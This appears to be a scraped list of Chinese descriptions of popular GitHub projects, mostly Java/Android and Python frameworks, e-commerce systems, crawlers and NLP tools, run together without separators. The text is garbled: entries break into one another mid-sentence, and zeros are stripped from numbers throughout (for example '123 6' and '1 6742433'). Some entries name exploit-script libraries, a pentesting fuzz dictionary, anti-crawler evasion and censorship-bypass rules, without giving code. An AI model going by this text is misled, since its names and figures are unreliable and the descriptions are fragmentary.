通用JDBC操作数据库 JPA 强大的ORM框架 mybatis 强大的ORM框架 通用Mapper 快速操作Mybatis PageHelper 通用的Mybatis分页插件 mybatis plus 快速操作Mybatis BeetlSQL 强大的ORM框架 u 微人事是一个前后端分离的人力资源管理系统 项目采用SpringBoot Vue开发 秒杀系统设计与实现 互联网工程师进阶与分析 To Be Top Javaer Java工程师成神之路循序渐进 学习博客Spring系列源码 mrbird cc快速 简单避免OOM的java处理Excel工具阿里巴巴 MySQL binlog 增量订阅 消费组件 一款优秀的开源博客发布应用 分布式任务调度平台XXL JOB 一款面向泛前端产品研发全生命周期的效率平台 面向云原生微服务的高可用流控防护组件 视频播放器支持弹幕 外挂字幕 支持滤镜 水印 gif截图 片头广告 中间广告 多个同时播放 支持基本的拖动 声音 亮度调节 支持边播边缓存 支持视频自带rotation的旋转 9 27 之类 重力旋转与手动旋转的同步支持 支持列表播放 列表全屏动画 视频加载速度 列表小窗口支持拖动 动画效果 调整比例 多分辨率切换 支持切换播放器 进度条小窗口预览 列表切换详情页面无缝播放 rtsp concat mpeg 又一个小商城 litemall Spring Boot后端 Vue管理员前端 微信小程序用户前端 Vue用户移动端基于Spring SpringMVC Mybatis分布式敏捷开发系统架构 提供整套公共微服务服务模块 集中权限管理 单点登录 内容管理 支付中心 用户管理 支持第三方登录 微信平台 存储系统 配置中心 日志分析 任务和通知等 支持服务治理 监控和追踪 努力为中小型企业打造全方位J2EE企业级开发解决方案 项目基于的前后端分离的后台管理系统 项目采用分模块开发方式 权限控制采用 RBAC 支持数据字典与数据权限管理 支持一键生成前后端代码 支持动态路由 史上最简单的Spring Cloud教程源码 CAT 作为服务端项目基础组件 提供了 Java C C Node js Python Go 等多语言客户端 已经在美团点评的基础架构中间件框架 MVC框架 RPC框架 数据库框架 缓存框架等 消息队列 配置系统等 深度集成 为美团点评各业务线提供系统丰富的性能指标 健康状况 实时告警等 spring boot 实践学习案例 是 spring boot 初学者及核心技术巩固的最佳实践 另外写博客 用 OpenWrite Spring Boot基础教程 Spring Boot 2 x版本连载中 帮助 Android App 进行组件化改造的路由框架 提高 Android UI 开发效率的 UI 库时间选择器 省市区三级联动 Luban 鲁班可能是最接近微信朋友圈的图片压缩算法 Gitee 最有价值开源项目 小而全而美的第三方登录开源组件 目前已支持Github Gitee 微博 钉钉 百度 Coding 腾讯云开发者平台 OSChina 支付宝 QQ 微信 淘宝 Google Facebook 抖音 领英 小米 微软 今日头条人人 华为 企业微信 酷家乐 Gitlab 美团 饿了么 推特 飞书 京东 阿里云 喜马拉雅 Amazon Slack和 Line 等第三方平台的授权登录 Login so easy 今日头条屏幕适配方案终极版 一个极低成本的 Android 屏幕适配方案 Banner 2 来了 Android广告图片轮播控件 内部基于ViewPager2实现 Indicator和UI都可以自定义 零代码 热更新 自动化 ORM 库 后端接口和文档零代码 前端 客户端 定制返回 JSON 的数据和结构一个涵盖六个专栏分布式消息队列 分布式事务的仓库 希望胖友小手一抖 右上角来个 Star 感恩 1 24Mybatis通用分页插件OkGo 3 震撼来袭 该库是基于 协议 封装了 OkHttp 的网络请求框架 比 Retrofit 更简单易用 支持 RxJava RxJava2 支持自定义缓存 支持批量断点下载管理和批量上传管理功能含 Flink 入门 概念 原理 实战 性能调优 源码解析等内容 涉及等内容的学习案例 还有 Flink 落地应用的大型项目案例 PVUV 日志存储 百亿数据实时去重 监控告警 分享 欢迎大家支持我的专栏 大数据实时计算引擎 Flink 实战与性能优化 安卓平台上的JavaScript自动化工具 ️一个整合了大量主流开源项目高度可配置化的 Android MVP 快速集成框架 Spring源码阅读大数据入门指南 android 4 4以上沉浸式状态栏和沉浸式导航栏管理 适配横竖屏切换 刘海屏 软键盘弹出等问题 可以修改状态栏字体颜色和导航栏图标颜色 以及不可修改字体颜色手机的适配 适用于一句代码轻松实现 以及对bar的其他设置 详见README 简书请参考 www jianshu com p 2a884e211a62业内为数不多致力于极致体验的超强全自研跨平台 windows android iOS 流媒体内核 通过模块化自由组合 支持实时RTMP推流 RTSP推流 RTMP播放器 RTSP播放器 录像 多路流媒体转发 音视频导播 动态视频合成 音频混音 直播互动 内置轻量级RTSP服务等 比快更快 业界真正靠谱的超低延迟直播SDK 1秒内 低延迟模式下2 4 ms DataX是阿里云DataWorks数据集成的开源版本 mall学习教程 架构 业务 技术要点全方位解析 mall项目 4 k star 是一套电商系统 使用现阶段主流技术实现 涵盖了等技术 采用Docker容器化部署 Android开源弹幕引擎 烈焰弹幕使 ~spring cloud vue oAuth2 全家桶实战 前后端分离模拟商城 完整的购物流程 后端运营平台 可以实现快速搭建企业级微服务项目 支持微信登录等三方登录 一个基于Spring Boot MyBatis的种子项目 用于快速构建中小型API RESTful API项目 强大 可定制 易扩展的 ViewPager 指示器框架 是的最佳替代品 支持角标 更支持在非ViewPager场景下使用 使用hide show 切换Fragment或使用se 27天成为Java大神安卓学习笔记 cim cross IM 适用于开发者的分布式即时通讯系统Android上一个优雅 万能自定义UI 仿iOS 支持垂直 水平方向切换 支持周视图 自定义周起始 性能高效的日历控件 支持热插拔实现的UI定制 支持标记 自定义颜色 农历 自定义月视图各种显示模式等 Canvas绘制 速度快 占用内存低 你真的想不到日历居然还可以如此优雅hsweb haʊs wɛb 是一个基于spring boot 2 x开发 首个使用全响应式编程的企业级后台管理系统基础项目 newbee mall 项目 新蜂商城 是一套电商系统 包括 newbee mall 商城系统及 newbee mall admin 商城后台管理系统 基于 Spring Boot 2 X 及相关技术栈开发 前台商城系统包含首页门户 商品分类 新品上线 首页轮播 商品推荐 商品搜索 商品展示 购物车 订单结算 订单流程 个人订单管理 会员中心 帮助中心等模块 后台管理系统包含数据面板 轮播图管理 商品管理 订单管理 会员管理 分类管理 设置等模块 mall swarm是一套微服务商城系统 采用了等核心技术 同时提供了基于Vue的管理后台方便快速搭建系统 mall swarm在电商业务的基础集成了注册中心 配置中心 监控中心 网关等系统功能 文档齐全 附带全套Spring Cloud教程 阅读是一款可以自定义来源阅读网络内容的工具 为广大网络文学爱好者提供一种方便 快捷舒适的试读体验 Spring Cloud基础教程 持续连载更新中阿里巴巴分布式数据库同步系统 解决中美异地机房 基于谷歌最新AAC架构 MVVM设计模式的一套快速开发库 整合OkRxJava Retrofit Glide等主流模块 满足日常开发需求 使用该框架可以快速开发一个高质量 易维护的Android应用 基于SpringCloud2 1的微服务开发脚手架 整合了等 服务治理方面引入等 让项目开发快速进入业务开发 而不需过多时间花费在架构搭建上 持续更新中基于SOA架构的分布式电商购物商城 前后端分离 前台商城 全家桶 后台管理系统等是 难得一见 的 Jetpack MVVM 最佳实践 在 以简驭繁 的代码中 对 视图控制器 乃至 标准化开发模式 形成正确 深入的理解 V部落 Vue SpringBoot实现的多用户博客管理平台 Android Signature V2 Scheme签名下的新一代渠道包打包神器即时通讯 IM 系统多种编程语言实现 LeetCode 剑指 Offer 第 2 版 程序员面试金典 第 6 版 题解专门为刚开始刷题的同学准备的算法基地 没有最细只有更细 立志用动画将晦涩难懂的算法说的通俗易懂 ansj分词 ict的真正java实现 分词效果速度都超过开源版的ict 中文分词 人名识别 词性标注 用户自定义词典 book 任阅 网络小说阅读器 3D翻页效果 txt pdf epub书籍阅读 Wifi传书 LeetCode刷题记录与面试整理mybatis generator界面工具 让你生成代码更简单更快捷Spring Cloud 学习案例 服务发现 服务治理 链路追踪 服务监控等 XPopup2 版本重磅来袭 2倍以上性能提升 带来可观的动画性能优化和交互细节的提升 功能强大 交互优雅 动画丝滑的通用弹窗 可以替代等组件 自带十几种效果良好的动画 支持完全的UI和动画自定义搜狐视频 sohu tv Redis私有云平台spring boot打造文件文档在线预览项目权限管理系统 预览地址 47 1 4 7 138 login零反射全动态Android插件框架分布式配置管理平台 通用 IM 聊天 UI 组件 已经同时支持 Android iOS RN 手把手教你整合最优雅SSM框架 SpringMVC Spring MyBatis换肤框架 极低的学习成本 极好的用户体验 一行 代码就可以实现换肤 你值得拥有 JVM 底层原理最全知识总结 国内首个Spring Cloud微服务化RBAC的管理平台 核心采用前端采用d2 admin中台框架 记得上边点个star 关注更新tcc transaction是TCC型事务java实现 RecyclerView侧滑菜单 Item拖拽 滑动删除Item 自动加载更多 HeaderView FooterView Item分组黏贴 包含美颜等4 余种实时滤镜相机 可拍照 录像 图片修改springboot 框架与其它组件结合如等安卓选择器类库 包括日期及时间选择器 可用于出生日期 营业时间等 单项选择器 可用于性别 民族 职业 学历 星座等 二三级联动选择器 可用于车牌号 基金定投日期等 城市地址选择器 分省级 地市级及区县级 数字选择器 可用于年龄 身高 体重 温度等 日历选日期择器 可用于酒店及机票预定日期 颜色选择器 文件及目录选择器等 Java工程师面试复习指南 本仓库涵盖大部分Java程序员所需要掌握的核心知识 整合了互联网上的很多优质Java技术文章 力求打造为最完整最实用的Java开发者学习指南 如果对你有帮助 给个star告诉我吧 谢谢 Android MVP 快速开发框架 做国内 示例最全面 注释最详细 使用最简单 代码最严谨 的 Android 开源 UI 框架几行代码快速集成二维码扫描功能MeterSphere 是一站式开源持续测试平台 涵盖测试跟踪 接口测试 性能测试 团队协作等功能 全面兼容 JMeter Postman Swagger 等开源 主流标准 记录各种学习笔记 算法 Java 数据库 并发 下一代Android打包工具 1 个渠道包只需要1 秒钟芋道 mall 商城 基于微服务的思想 构建在 B2C 电商场景下的项目实战 核心技术栈 是 Spring Boot Dubbo 未来 会重构成 Spring Cloud Alibaba Android 万能的等 支持多种Item类型的情况 lanproxy是一个将局域网个人电脑 服务器代理到公网的内网穿透工具 支持tcp流量转发 可支持任何tcp上层协议 访问内网网站 本地支付接口调试 ssh访问 远程桌面 目前市面上提供类似服务的有花生壳 TeamView GoToMyCloud等等 但要使用第三方的公网服务器就必须为第三方付费 并且这些服务都有各种各样的限制 此外 由于数据包会流经第三方 因此对数据安全也是一大隐患 技术交流QQ群 1 6742433 更优雅的驾车体验下载可以很简单 ️ 云阅 一款基于网易云音乐UI 使用玩架构开发的符合Google Material Design的Android客户端开源的 Material Design 豆瓣客户端一款针对系统PopupWindow优化的Popup库 功能强大 支持背景模糊 使用简单 你会爱上他的 PLDroidPlayer 是七牛推出的一款免费的适用于 Android 平台的播放器 SDK 采用全自研的跨平台播放内核 拥有丰富的功能和优异的性能 可高度定制化和二次开发 该项目已停止维护 9 Porn Android 客户端 突破游客每天观看1 次视频的限制 还可以下载视频 ️蓝绿 灰度 路由 限流 熔断 降级 隔离 追踪 流量染色 故障转移一本关于排序算法的 GitBook 在线书籍 十大经典排序算法 多语言实现 多种下拉刷新效果 上拉加载更多 可配置自定义头部广告位完全仿微信的图片选择 并且提供了多种图片加载接口 选择图片后可以旋转 可以裁剪成矩形或圆形 可以配置各种其他的参数SoloPi 自动化测试工具龙果支付系统 roncoo pay 是国内首款开源的互联网支付系统 拥有独立的账户体系 用户体系 支付接入体系 支付交易体系 对账清结算体系 目标是打造一款集成主流支付方式且轻量易用的支付收款系统 满足互联网业务系统打通支付通道实现支付收款和业务资金管理等功能 键盘面板冲突 布局闪动处理方案 咕泡学院实战项目 基于SpringBoot Dubbo构建的电商平台 微服务架构 商城 电商 微服务 高并发 kafka Elasticsearch停车场系统源码 停车场小程序 智能停车 Parking system 功能介绍 ①兼容市面上主流的多家相机 理论上兼容所有硬件 可灵活扩展 ②相机识别后数据自动上传到云端并记录 校验相机唯一id和硬件序列号 防止非法数据录入 ③用户手机查询停车记录详情可自主缴费 支持微信 支付宝 银行接口支付 支持每个停车场指定不同的商户进行收款 支付后出场在免费时间内会自动抬杆 ④支持app上查询附近停车场 导航 可用车位数 停车场费用 优惠券 评分 评论等 可预约车位 ⑤断电断网支持岗亭人员使用app可接管硬件进行停车记录的录入 技术架构 后端开发语言java 框架oauth2 spring 成长路线 但学到不仅仅是Java 业界首个支持渐进式组件化改造的Android组件化开源框架 支持跨进程调用SpringBoot2 从入门到实战 旨在打造在线最佳的 Java 学习笔记 含博客讲解和源码实例 包括 Java SE 和 Java WebJava诊断工具年薪百万互联网架构师课程文档及源码 公开部分 AndroidHttpCapture网络诊断工具 是一款Android手机抓包软件 主要功能包括 手机端抓包 PING DNS TraceRoute诊断 抓包HAR数据上传分享 你也可以看成是Android版的 Fiddler o 这可能是史上功能最全的Java权限认证框架 目前已集成 登录认证 权限认证 分布式Session会话 微服务网关鉴权 单点登录 OAuth2 踢人下线 Redis集成 前后台分离 记住我模式 模拟他人账号 临时身份切换 账号封禁 多账号认证体系 注解式鉴权 路由拦截式鉴权 花式token生成 自动续签 同端互斥登录 会话治理 密码加密 jwt集成 Spring集成 WebFlux集成 Android平台下的富文本解析器 支持Html和Markdown智能图片裁剪框架 自动识别边框 手动调节选区 使用透视变换裁剪并矫正选区 适用于身份证 名片 文档等照片的裁剪 俗名 可垂直跑 可水平跑的跑马灯 学名 可垂直翻 可水平翻的翻页公告 小马哥技术周报 Android Video Player 安卓视频播放器 封装模仿抖音并实现预加载 列表播放 悬浮播放 广告播放 弹幕 重学Java设计模式 是一本互联网真实案例实践书籍 以落地解决方案为核心 从实际业务中抽离出 交易 营销 秒杀 中间件 源码等22个真实场景 来学习设计模式的运用 欢迎关注小傅哥 微信 fustack 公众号 bugstack虫洞栈 博客 bugstack cnmybatis源码中文注释一款开源的GIF在线分享App 乐趣就要和世界分享 MPush开源实时消息推送系统在线云盘 网盘 OneDrive 云存储 私有云 对象存储 h5ai基于Spring Boot 2 x的一站式前后端分离快速开发平台XBoot 微信小程序 Uniapp 前端 Vue iView Admin 后端分布式限流 同步锁 验证码 SnowFlake雪花算法ID 动态权限 数据权限 工作流 代码生成 定时任务 社交账号 短信登录 单点登录 OAuth2开放平台 客服机器人 数据大屏 暗黑模式Guns基于SpringBoot 2 致力于做更简洁的后台管理系统 完美整合项目代码简洁 注释丰富 上手容易 同时Guns包含许多基础模块 用户管理 角色管理 部门管理 字典管理等1 个模块 可以直接作为一个后台管理系统的脚手架 Android 版本更新一个简洁而优雅的Android原生UI框架 解放你的双手 一套完整有效的android组件化方案 支持组件的组件完全隔离 单独调试 集成调试 组件交互 UI跳转 动态加载卸载等功能适用于Java和Android的快速 低内存占用的汉字转拼音库 Codes of my MOOC Course <我在慕课网上的课程 算法与数据结构 示例代码 包括C 和Java版本 课程的更多更新内容及辅助练习也将逐步添加进这个代码仓 Hope Boot 一款现代化的脚手架项目一个简单漂亮的SSM Spring SpringMVC Mybatis 博客系统根据Gson库使用的要求 将JSONObject格式的String 解析成实体B站 哔哩哔哩 Bilibili 自动签到投币工具 每天轻松获取65经验值 支持每日自动投币 银瓜子兑换硬币 领取大会员福利 大会员月底给自己充电等功能 呐 赶快和我一起成为Lv6吧 IJPay 让支付触手可及 封装了微信支付 QQ支付 支付宝支付 京东支付 银联支付 PayPal 支付等常用的支付方式以及各种常用的接口 不依赖任何第三方 mvc 框架 仅仅作为工具使用简单快速完成支付模块的开发 可轻松嵌入到任何系统里 右上角点下小星星 High quality pure Weex demo 网易严选 App 感受 Weex 开发Android 快速实现新手引导层的库 通过简洁链式调用 一行代码实现引导层的显示通过标签直接生成shape 无需再写shape xml 本库是一款基于RxJava2 Retrofit2实现简单易用的网络请求框架 结合android平台特性的网络封装库 采用api链式调用一点到底 集成cookie管理 多种缓存模式 极简https配置 上传下载进度显示 请求错误自动重试 请求携带token 时间戳 签名sign动态配置 自动登录成功后请求重发功能 3种层次的参数设置默认全局局部 默认标准ApiResult同时可以支持自定义的数据结构 已经能满足现在的大部分网络请求 Android BLE蓝牙通信库 基于Flink实现的商品实时推荐系统 flink统计商品热度 放入redis缓存 分析日志信息 将画像标签和实时记录放入Hbase 在用户发起推荐请求后 根据用户画像重排序热度榜 并结合协同过滤和标签两个推荐模块为新生成的榜单的每一个产品添加关联产品 最后返回新的用户列表 播放器基础库 专注于播放视图组件的高复用性和组件间的低耦合 轻松处理复杂业务 图片选择库 单选 多选 拍照 裁剪 压缩 自定义 包括视频选择和录制 DataX集成可视化页面 选择数据源即可一键生成数据同步任务 支持等数据源 批量创建RDBMS数据同步任务 集成开源调度系统 支持分布式 增量同步数据 实时查看运行日志 监控执行器资源 KILL运行进程 数据源信息加密等 Deprecated android 自定义日历控件 支持左右无限滑动 周月切换 标记日期显示 自定义显示效果跳转到指定日期一个通过动态加载本地皮肤包进行换肤的皮肤框架这是RedSpider社区成员原创与维护的Java多线程系列文章 一站式Apache Kafka集群指标监控与运维管控平台快速开发工具类收集 史上最全的开发工具类 欢迎Follow Fork Star后端技术总结 包括Java基础 JVM 数据库 mysql redis 计算机网络 算法 数据结构 操作系统 设计模式 系统设计 框架原理 最佳阅读地址Android源码设计模式分析项目可能是最好的支付SDK 停止维护 组件化综合案例 包含微信新闻 头条视频 美女图片 百度音乐 干活集中营 玩Android 豆瓣读书电影 知乎日报等等模块 架构模式 组件化阿里VLayout 腾讯X5 腾讯bugly 融合开发中需要的各种小案例 开源OA系统 码云GVP Java开源oa 企业OA办公平台 企业OA 协同办公OA 流程平台OA O2OA OA 支持国产麒麟操作系统和国产数据库 达梦 人大金仓 政务OA 军工信息化OA以Spring Cloud Netflix作为服务治理基础 展示基于tcc思想所实现的分布式事务解决方案一个帮助您完成从缩略视图到原视图无缝过渡转变的神奇框架 系统重构与迁移指南 手把手教你分析 评估现有系统 制定重构策略 探索可行重构方案 搭建测试防护网 进行系统架构重构 服务架构重构 模块重构 代码重构 数据库重构 重构后的架构守护版本检测升级 更新 库小说精品屋是一个多平台 web 安卓app 微信小程序 功能完善的屏幕自适应小说漫画连载系统 包含精品小说专区 轻小说专区和漫画专区 包括小说 漫画分类 小说 漫画搜索 小说 漫画排行 完本小说 漫画 小说 漫画评分 小说 漫画在线阅读 小说 漫画书架 小说 漫画阅读记录 小说下载 小说弹幕 小说 漫画自动采集 更新 纠错 小说内容自动分享到微博 邮件自动推广 链接自动推送到百度搜索引擎等功能 Android 徽章控件 致力于打造一款极致体验的 www wanandroid com 客户端 知识和美是可以并存的哦QAQn ≧ ≦ n 从源码层面 剖析挖掘互联网行业主流技术的底层实现原理 为广大开发者 “提升技术深度” 提供便利 目前开放 Spring 全家桶 Mybatis Netty Dubbo 框架 及 Redis Tomcat 中间件等Redis 一站式管理平台 支持集群的监控 安装 管理 告警以及基本的数据操作该项目不再维护 仅供学习参考专注批量推送的小而美的工具 目前支持 模板消息 公众号 模板消息 小程序 微信客服消息 微信企业号 企业微信消息 阿里云短信 阿里大于模板短信 腾讯云短信 云片网短信 E Mail HTTP请求 钉钉 华为云短信 百度云短信 又拍云短信 七牛云短信Android 平台开源天气 App 采用等开源库来实现 SpringBoot 相关漏洞学习资料 利用方法和技巧合集 黑盒安全评估 check listAndroid 权限请求框架 已适配 Android 11微信SDK JAVA 公众平台 开放平台 商户平台 服务商平台 QMQ是去哪儿网内部广泛使用的消息中间件 自2 12年诞生以来在去哪儿网所有业务场景中广泛的应用 包括跟交易息息相关的订单场景 也包括报价搜索等高吞吐量场景 Java 23种设计模式全归纳linux运维监控工具 支持系统信息 内存 cpu 温度 磁盘空间及IO 硬盘smart 系统负载 网络流量 进程等监控 API接口 大屏展示 拓扑图 端口监控 docker监控 日志文件监控 数据可视化 webSSH工具 堡垒机 跳板机 这可能是全网最好用的ViewPager轮播图 简单 高效 一行代码实现循环轮播 一屏三页任意变 指示器样式任你挑 一种简单有效的android组件化方案 支持组件的代码资源隔离 单独调试 集成调试 组件交互 UI跳转 生命周期等完整功能 一个强大 1 % 兼容 支持 AndroidX 支持 Kotlin并且灵活的组件化框架JPress 一个使用 Java 开发的建站神器 目前已经有 1 w 网站使用 JPress 进行驱动 其中包括多个政府机构 2 上市公司 中科院 红 字会等 分布式事务易用的轻量化网络爬虫 Android系统源码分析重构中一款免费的数据可视化工具 报表与大屏设计 类似于excel操作风格 在线拖拽完成报表设计 功能涵盖 报表设计 图形报表 打印设计 大屏设计等 永久免费 秉承“简单 易用 专业”的产品理念 极大的降低报表开发难度 缩短开发周期 节省成本 解决各类报表难题 Android Activity 滑动返回 支持微信滑动返回样式 横屏滑动返回 全屏滑动返回SpringBoot 基础教程 从入门到上瘾 基于2 M5制作 仿微信视频拍摄UI 基于ffmpeg的视频录制编辑Python 1 天从新手到大师 分享 GitHub 上有趣 入门级的开源项目中英文敏感词 语言检测 中外手机 电话归属地 运营商查询 名字推断性别 手机号抽取 身份证抽取 邮箱抽取 中日文人名库 中文缩写库 拆字词典 词汇情感值 停用词 反动词表 暴恐词表 繁简体转换 英文模拟中文发音 汪峰歌词生成器 职业名称词库 同义词库 反义词库 否定词库 汽车品牌词库 汽车零件词库 连续英文切割 各种中文词向量 公司名字大全 古诗词库 IT词库 财经词库 成语词库 地名词库 历史名人词库 诗词词库 医学词库 饮食词库 法律词库 汽车词库 动物词库 中文聊天语料 中文谣言数据 百度中文问答数据集 句子相似度匹配算法集合 bert资源 文本生成 摘要相关工具 cocoNLP信息抽取 2 21年最新总结 阿里 腾讯 百度 美团 头条等技术面试题目 以及答案 专家出题人分析汇总 AiLearning 机器学习 MachineLearning ML 深度学习 DeepLearning DL 自然语言处理 NLP123 6智能刷票 订票结巴中文分词 动手学深度学习 面向中文读者 能运行 可讨论 中英文版被全球175所大学采用教学 中文分词 词性标注 命名实体识别 依存句法分析 语义依存分析 新词发现 关键词短语提取 自动摘要 文本分类聚类 拼音简繁转换 自然语言处理微信个人号接口 微信机器人及命令行微信 三十行即可自定义个人号机器人 数据结构和算法必知必会的5 个代码实现JumpServer 是全球首款开源的堡垒机 是符合 4A 的专业运维安全审计系统 飞桨 核心框架 深度学习 机器学习高性能单机 分布式训练和跨平台部署 中国程序员容易发音错误的单词微信 跳一跳 Python 辅助 python模拟登陆一些大型网站 还有一些简单的爬虫 希望对你们有所帮助 ️ 如果喜欢记得给个star哦 网络爬虫实战 淘宝 京东 网易云 B站 123 6 抖音 笔趣阁 漫画小说下载 音乐电影下载等Python爬虫代理IP池 proxy pool wtfpython的中文翻译 施工结束 能力有限 欢迎帮我改进翻译提供多款 Shadowrocket 规则 带广告过滤功能 用于 iOS 未越狱设备选择性地自动翻墙 123 6 购票助手 支持集群 多账号 多任务购票以及 Web 页面管理 walle 瓦力 Devops开源项目代码部署平台一些非常有趣的python爬虫例子 对新手比较友好 主要爬取淘宝 天猫 微信 豆瓣 QQ等网站机器学习相关教程1 Chinese Word Vectors 上百种预训练中文词向量 网易云音乐命令行版本一款入门级的人脸 视频 文字检测以及识别的项目 编程随想 整理的 太子党关系网络 专门揭露赵国的权贵微信助手 1 每日定时给好友 女友 发送定制消息 2 机器人自动回复好友 3 群助手功能 例如 查询垃圾分类 天气 日历 电影实时票房 快递物流 PM2 5等 二维码生成器 支持 gif 动态图片二维码 阿布量化交易系统 股票 期权 期货 比特币 机器学习 基于python的开源量化交易 量化投资架构 book 中华新华字典数据库 包括歇后语 成语 词语 汉字 Git AWS Google 镜像 SS SSR VMESS节点行业研究报告的知识储备库中文翻译手写实现李航 统计学习方法 书中全部算法 Python 抖音机器人 论如何在抖音上找到漂亮小姐姐? 迁移学习python爬虫教程系列 从 到1学习python爬虫 包括浏览器抓包 手机APP抓包 如 fiddler mitmproxy 各种爬虫涉及的模块的使用 如等 以及IP代理 验证码识别 Mysql MongoDB数据库的python使用 多线程多进程爬虫的使用 css 爬虫加密逆向破解 JS爬虫逆向 分布式爬虫 爬虫项目实战实例等Python脚本 模拟登录知乎 爬虫 操作excel 微信公众号 远程开机越来越多的网站具有反爬虫特性 有的用图片隐藏关键数据 有的使用反人类的验证码 建立反反爬虫的代码仓库 通过与不同特性的网站做斗争 无恶意 提高技术 欢迎提交难以采集的网站 因工作原因 项目暂停 人人影视bot 完全对接人人影视全部无删减资源莫烦Python 中文AI教学飞桨 官方模型库 包含多种学术前沿和工业场景验证的深度学习模型 轻量级人脸检测模型 百度云 百度网盘Python客户端 Python进阶 Intermediate Python 中文版 提供同花顺客户端 国金 华泰客户端 雪球的基金 股票自动程序化交易以及自动打新 支持跟踪 joinquant ricequant 模拟交易 和 实盘雪球组合 量化交易组件QUANTAXIS 支持任务调度 分布式部署的 股票 期货 期权 港股 虚拟货币 数据 回测 模拟 交易 可视化 多账户 纯本地量化解决方案INFO SPIDER 是一个集众多数据源于一身的爬虫工具箱 旨在安全快捷的帮助用户拿回自己的数据 工具代码开源 流程透明 支持数据源包括GitHub QQ邮箱 网易邮箱 阿里邮箱 新浪邮箱 Hotmail邮箱 Outlook邮箱 京东 淘宝 支付宝 中国移动 中国联通 中国电信 知乎 哔哩哔哩 网易云音乐 QQ好友 QQ群 生成朋友圈相册 浏览器浏览历史 123 6 博客园 CSDN博客 开源中国博客 简书 中文BERT wwm系列模型 Python入门网络爬虫之精华版中文 iOS Mac 开发博客列表Python网页微信APIpkuseg多领域中文分词工具自己动手做聊天机器人教程基于搜狗微信搜索的微信公众号爬虫接口用深度学习对对联 v2ray xray多用户管理部署程序各种脚本 关于 虾米 xiami com 百度网盘 pan baidu com 115网盘 115 com 网易音乐 music 163 com 百度音乐 music baidu com 36 网盘 云盘 yunpan cn 视频解析 flvxz com bt torrent ↔ magnet ed2k 搜索 tumblr 图片下载 unzip查看被删的微信好友定投改变命运 让时间陪你慢慢变富 onregularinvesting com 机器学习实战 Python3 kNN 决策树 贝叶斯 逻辑回归 SVM 线性回归 树回归Statistical learning methods 统计学习方法 第2版 李航 笔记 代码 notebook 参考文献 Errata lihang stock 股票系统 使用python进行开发 基于深度学习的中文语音识别系统京东抢购助手 包含登录 查询商品库存 价格 添加 清空购物车 抢购商品 下单 查询订单等功能莫烦Python 中文AI教学机器学习算法python实现新浪微博爬虫 用python爬取新浪微博数据的算法以及通用生成对抗网络图像生成的理论与实践研究 青岛大学开源 Online Judge QQ群 49671 125 admin qduoj comWeRoBot 是一个微信公众号开发框架 基于Django的博客系统 中文近义词 聊天机器人 智能问答工具包开源财经数据接口库巡风是一款适用于企业内网的漏洞快速应急 巡航扫描系统 番号大全 解决电脑 手机看电视直播的苦恼 收集各种直播源 电视直播网站知识图谱构建 自动问答 基于kg的自动问答 以疾病为中心的一定规模医药领域知识图谱 并以该知识图谱完成自动问答与分析服务 出处本地电影刮削与整理一体化解决方案自动化运维平台 CMDB CD DevOps 资产管理 任务编排 持续交付 系统监控 运维管理 配置管理 wukong robot 是一个简单 灵活 优雅的中文语音对话机器人 智能音箱项目 还可能是首个支持脑机交互的开源智能音箱项目 获取斗鱼 虎牙 哔哩哔哩 抖音 快手等 55 个直播平台的真实流媒体地址 直播源 和弹幕 直播源可在 PotPlayer flv js 等播放器中播放 宝塔Linux面板 简单好用的服务器运维面板农业知识图谱 AgriKG 农业领域的信息检索 命名实体识别 关系抽取 智能问答 辅助决策CODO是一款为用户提供企业多混合云 一站式DevOps 自动化运维 完全开源的云管理平台 自动化运维平台Web Pentesting Fuzz 字典 一个就够了 计算机网络 自顶向下方法 原书第6版 编程作业 Wireshark实验文档的翻译和解答 中文古诗自动作诗机器人 屌炸天 基于tensorflow1 1 api 正在积极维护升级中 快star 保持更新 PyQt Examples PyQt各种测试和例子 PyQt4 PyQt5海量中文预训练ALBERT模型汉字转拼音 pypinyin 数据结构与算法 leetcode lintcode题解 Pytorch模型训练实用教程 中配套代码实时获取新浪 腾讯 的免费股票行情 集思路的分级基金行情Python爬虫 Flask网站 免费ShadowSocks账号 ssr订阅 json 订阅实战 多种网站 电商数据爬虫 包含 淘宝商品 微信公众号 大众点评 企查查 招聘网站 闲鱼 阿里任务 博客园 微博 百度贴吧 豆瓣电影 包图网 全景网 豆瓣音乐 某省药监局 搜狐新闻 机器学习文本采集 fofa资产采集 汽车之家 国家统计局 百度关键词收录数 蜘蛛泛目录 今日头条 豆瓣影评 携程 小米应用商店 安居客 途家民宿 ️ ️ ️ 微信爬虫展示项目 SQL 审核查询平台团子翻译器 个人兴趣制作的一款基于OCR技术的翻译器自动化运维平台 代码及应用部署CI CD 资产管理CMDB 计划任务管理平台 SQL审核 回滚 任务调度 站内WIKISource Code Security Audit 源代码安全审计 Exphub 漏洞利用脚本库 包括的漏洞利用脚本 最新添加我的自学笔记 终身更新 当前专注System基础 MLSys 使用机器学习算法完成对123 6验证码的自动识别Python 开源项目之 自学编程之路 保姆级教程 AI实验室 宝藏视频 数据结构 学习指南 机器学习实战 深度学习实战 网络爬虫 大厂面经 程序人生 资源分享 中文文本分类基于pytorch 开箱即用 根据网易云音乐的歌单 下载flac无损音乐到本地腾讯优图高精度双分支人脸检测器文本纠错等模型实现 开箱即用 3 天掌握量化交易 持续更新 中文分词 词性标注 命名实体识别 依存句法分析 新词发现 关键词短语提取 自动摘要 文本分类聚类 拼音简繁 自然语言处理中文公开聊天语料库豆瓣读书的爬虫总结梳理自然语言处理工程师 NLP 需要积累的各方面知识 包括面试题 各种基础知识 工程能力等等 提升核心竞争力中文自然语言处理数据集 平时做做实验的材料 欢迎补充提交合并 一个可以自己进行训练的中文聊天机器人 根据自己的语料训练出自己想要的聊天机器人 可以用于智能客服 在线问答 智能聊天等场景 目前包含seq2seq seqGAN版本 tf2 版本 pytorch版本 股票量化框架 支持行情获取以及交易微博爬虫 持续维护 Bilibili 用户爬虫 deepin源移植 Debian Ubuntu上最快的QQ 微信安装方式 新闻网页正文通用抽取器 Beta 版 flag on post 自动更新域名解析到本机IP 支持dnspod 阿里DNS CloudFlare 华为云 DNSCOM 本项目针对字符型图片验证码 使用tensorflow实现卷积神经网络 进行验证码识别 owllook 小说搜索引擎中文语言理解测评基准python中文库 python人工智能大数据自动化接口测试开发 书籍下载及python库汇总china testing github io 2 19新型冠状病毒疫情时间序列数据仓库Python 黑魔法手册单阶段通用目标检测器一个拍照做题程序 输入一张包含数学计算题的图片 输出识别出的数学计算式以及计算结果 video download B站视频下载中文命名实体识别 TensorFlow Python 中文数据结构和算法教程 验证码识别 训练Python爬虫实战 模拟登陆各大网站 包含但不限于 滑块验证 拼多多 